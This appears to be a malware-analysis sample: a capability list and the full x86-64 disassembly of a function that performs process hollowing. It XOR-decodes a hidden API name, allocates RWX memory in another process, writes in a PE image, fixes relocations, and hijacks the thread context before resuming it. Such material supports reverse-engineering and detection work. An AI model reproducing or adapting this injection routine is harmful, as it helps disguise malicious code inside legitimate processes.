Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Enumerate pe sections
Execute shellcode via indirect call
Resume thread

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x650
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x640], rax
mov r13, qword [rcx + 8]
lea rax, [rsp + 0xa0]
mov r15, qword [rcx]
lea r8, [rsp + 0x68]
mov r12, rdx
mov qword [rsp + 0x58], r13
mov rcx, r15
mov qword [rsp + 0x20], rax
mov r9d, 0x30
xor edx, edx
call qword [sym.imp.ntdll.dll_NtQueryInformationProcess]
mov rdx, qword [rsp + 0x70]
lea r8, [rsp + 0x60]
xor esi, esi
add rdx, 0x10
mov rcx, r15
mov qword [rsp + 0x20], rsi
lea r9d, [rsi + 8]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
movdqa xmm0, xmmword [0x140003410]
lea rax, [rsp + 0x5a0]
movdqa xmm1, xmmword [0x140003430]
lea rcx, [rsp + 0x600]
movdqu xmmword [rsp + 0x590], xmm1
movdqa xmm1, xmmword [0x140003400]
movdqu xmmword [rsp + 0x580], xmm0
movdqa xmm0, xmmword [0x140003510]
movdqu xmmword [rsp + 0x5b0], xmm1
movdqa xmm1, xmmword [0x140003580]
movdqu xmmword [rsp + 0x5d0], xmm1
movdqu xmmword [rsp + 0x5a0], xmm0
movdqa xmm0, xmmword [0x140003540]
movdqu xmmword [rsp + 0x5c0], xmm0
vmovdqu ymm0, ymmword [rax]
vpxor ymm1, ymm0, ymmword [rsp + 0x580]
vmovdqu ymmword [rax], ymm1
lea rax, [rsp + 0x5a0]
vmovdqu ymm0, ymmword [rax]
vpxor ymm1, ymm0, ymmword [rsp + 0x5c0]
vmovdqa xmm0, xmmword [0x1400034c0]
vmovdqu ymmword [rax], ymm1
vmovdqa xmm1, xmmword [0x1400033d0]
lea rax, [rsp + 0x600]
vmovdqu xmmword [rsp + 0x5f0], xmm1
vmovdqa xmm1, xmmword [0x1400034d0]
vmovdqu xmmword [rsp + 0x5e0], xmm0
vmovdqa xmm0, xmmword [0x140003560]
vmovdqu xmmword [rsp + 0x610], xmm1
vmovdqa xmm1, xmmword [str._P]
vmovdqu xmmword [rsp + 0x630], xmm1
vmovdqu xmmword [rsp + 0x600], xmm0
vmovdqa xmm0, xmmword [0x140003550]
vmovdqu xmmword [rsp + 0x620], xmm0
vmovdqu ymm0, ymmword [rax]
vpxor ymm1, ymm0, ymmword [rsp + 0x5e0]
vmovdqu ymmword [rax], ymm1
lea rax, [rsp + 0x600]
vmovdqu ymm0, ymmword [rax]
vpxor ymm1, ymm0, ymmword [rsp + 0x620]
vmovdqu ymmword [rax], ymm1
vzeroupper
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rsp + 0x5a0]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, qword [rsp + 0x60]
mov rcx, r15
call rax
movsxd rbx, dword [r12 + 0x3c]
mov r9d, 0x3000
mov rdx, qword [rsp + 0x60]
add rbx, r12
mov rcx, r15
mov qword [rsp + 0x50], rbx
mov dword [rsp + 0x20], 0x40
mov r8d, dword [rbx + 0x50]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rcx, rax
mov qword [rsp + 0x60], rax
sub rcx, qword [rbx + 0x30]
mov qword [rsp + 0x40], rcx
mov r9d, dword [rbx + 0x54]
mov r8, r12
mov qword [rbx + 0x30], rax
mov rcx, r15
mov rdx, qword [rsp + 0x60]
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx eax, word [rbx + 0x14]
lea r14, [rbx + 0x18]
movzx edi, word [rbx + 6]
add r14, rax
test edi, edi
je 0x14000128a
lea rbx, [r14 + 0xc]
mov esi, edi
mov r8d, dword [rbx + 8]
mov rcx, r15
mov edx, dword [rbx]
add r8, r12
mov eax, dword [rbx + 4]
add rdx, qword [rsp + 0x60]
mov r9d, eax
and qword [rsp + 0x20], 0
mov dword [rsp + 0xa0], eax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea rbx, [rbx + 0x28]
sub rsi, 1
jne 0x140001251
mov rbx, qword [rsp + 0x50]
cmp qword [rsp + 0x40], rsi
je 0x140001460
mov edx, esi
test edi, edi
je 0x140001365
movdqa xmm0, xmmword [0x1400033f0]
movdqa xmm1, xmmword [0x140003530]
movdqu xmmword [rsp + 0x580], xmm0
movdqa xmm0, xmmword [0x140003570]
movdqu xmmword [rsp + 0x590], xmm1
movdqa xmm1, xmmword [0x140003470]
movdqu xmmword [rsp + 0x5b0], xmm1
movdqa xmm1, xmmword [0x140003500]
movdqu xmmword [rsp + 0x5a0], xmm0
movdqa xmm0, xmmword [0x1400034a0]
movsxd rax, edx
movdqu xmmword [rsp + 0x5c0], xmm0
vmovdqu ymm0, ymmword [rsp + 0x5a0]
vmovdqu xmmword [rsp + 0x5d0], xmm1
vpxor ymm1, ymm0, ymmword [rsp + 0x580]
vpxor ymm1, ymm1, ymmword [rsp + 0x5c0]
lea rcx, [rax + rax*4]
lea r9, [r14 + rcx*8]
lea rax, [rsp + 0x5a0]
vmovdqu ymmword [rsp + 0x5a0], ymm1
sub r9, rax
vzeroupper
movzx ecx, byte [rax]
movzx r8d, byte [rax + r9]
sub ecx, r8d
jne 0x140001357
inc rax
test r8d, r8d
jne 0x140001342
test ecx, ecx
je 0x140001365
inc edx
cmp edx, edi
jb 0x14000129f
movsxd rax, edx
xor edx, edx
lea rcx, [rax + rax*4]
mov edi, dword [r14 + rcx*8 + 0x14]
add rdi, r12
mov r12d, dword [rbx + 0xb4]
mov qword [rsp + 0x48], rdi
mov dword [rsp + 0x38], r12d
test r12d, r12d
je 0x140001460
mov r13, r15
mov eax, dword [rdi]
lea r14, [rdi + 8]
mov ecx, dword [rdi + 4]
add esi, 8
mov dword [rsp + 0x30], eax
lea rax, [rcx - 8]
shr rax, 1
test eax, eax
je 0x140001448
mov r12d, dword [rsp + 0x30]
lea esi, [rsi + rax*2]
mov rdi, qword [rsp + 0x40]
mov dword [rsp + 0x34], esi
xor esi, esi
mov r15d, eax
movzx ecx, word [r14]
mov eax, ecx
shr eax, 0xc
test ax, ax
je 0x14000142b
and ecx, 0xfff
mov qword [rsp + 0x20], rsi
add rcx, qword [rsp + 0x60]
lea r8, [rsp + 0x98]
mov r9d, 8
lea rbx, [rcx + r12]
mov rcx, r13
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
add qword [rsp + 0x98], rdi
lea r8, [rsp + 0x98]
mov r9d, 8
mov qword [rsp + 0x20], rsi
mov rdx, rbx
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
add r14, 2
sub r15, 1
jne 0x1400013c8
mov rdi, qword [rsp + 0x48]
xor edx, edx
mov esi, dword [rsp + 0x34]
mov r12d, dword [rsp + 0x38]
mov ecx, dword [rdi + 4]
mov eax, ecx
add rdi, rax
mov qword [rsp + 0x48], rdi
cmp esi, r12d
jb 0x140001393
mov r13, qword [rsp + 0x58]
mov rax, qword [rsp + 0x50]
lea rcx, [rsp + 0xb0]
xor edx, edx
mov r8d, 0x4d0
mov ebx, dword [rax + 0x28]
add rbx, qword [rsp + 0x60]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rsp + 0xb0]
mov dword [rsp + 0xe0], 0x10001f
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
lea rdx, [rsp + 0xb0]
mov qword [rsp + 0x130], rbx
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, qword [rsp + 0x640]
xor rcx, rsp
call fcn.140001b80
lea r11, [rsp + 0x650]
mov rbx, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret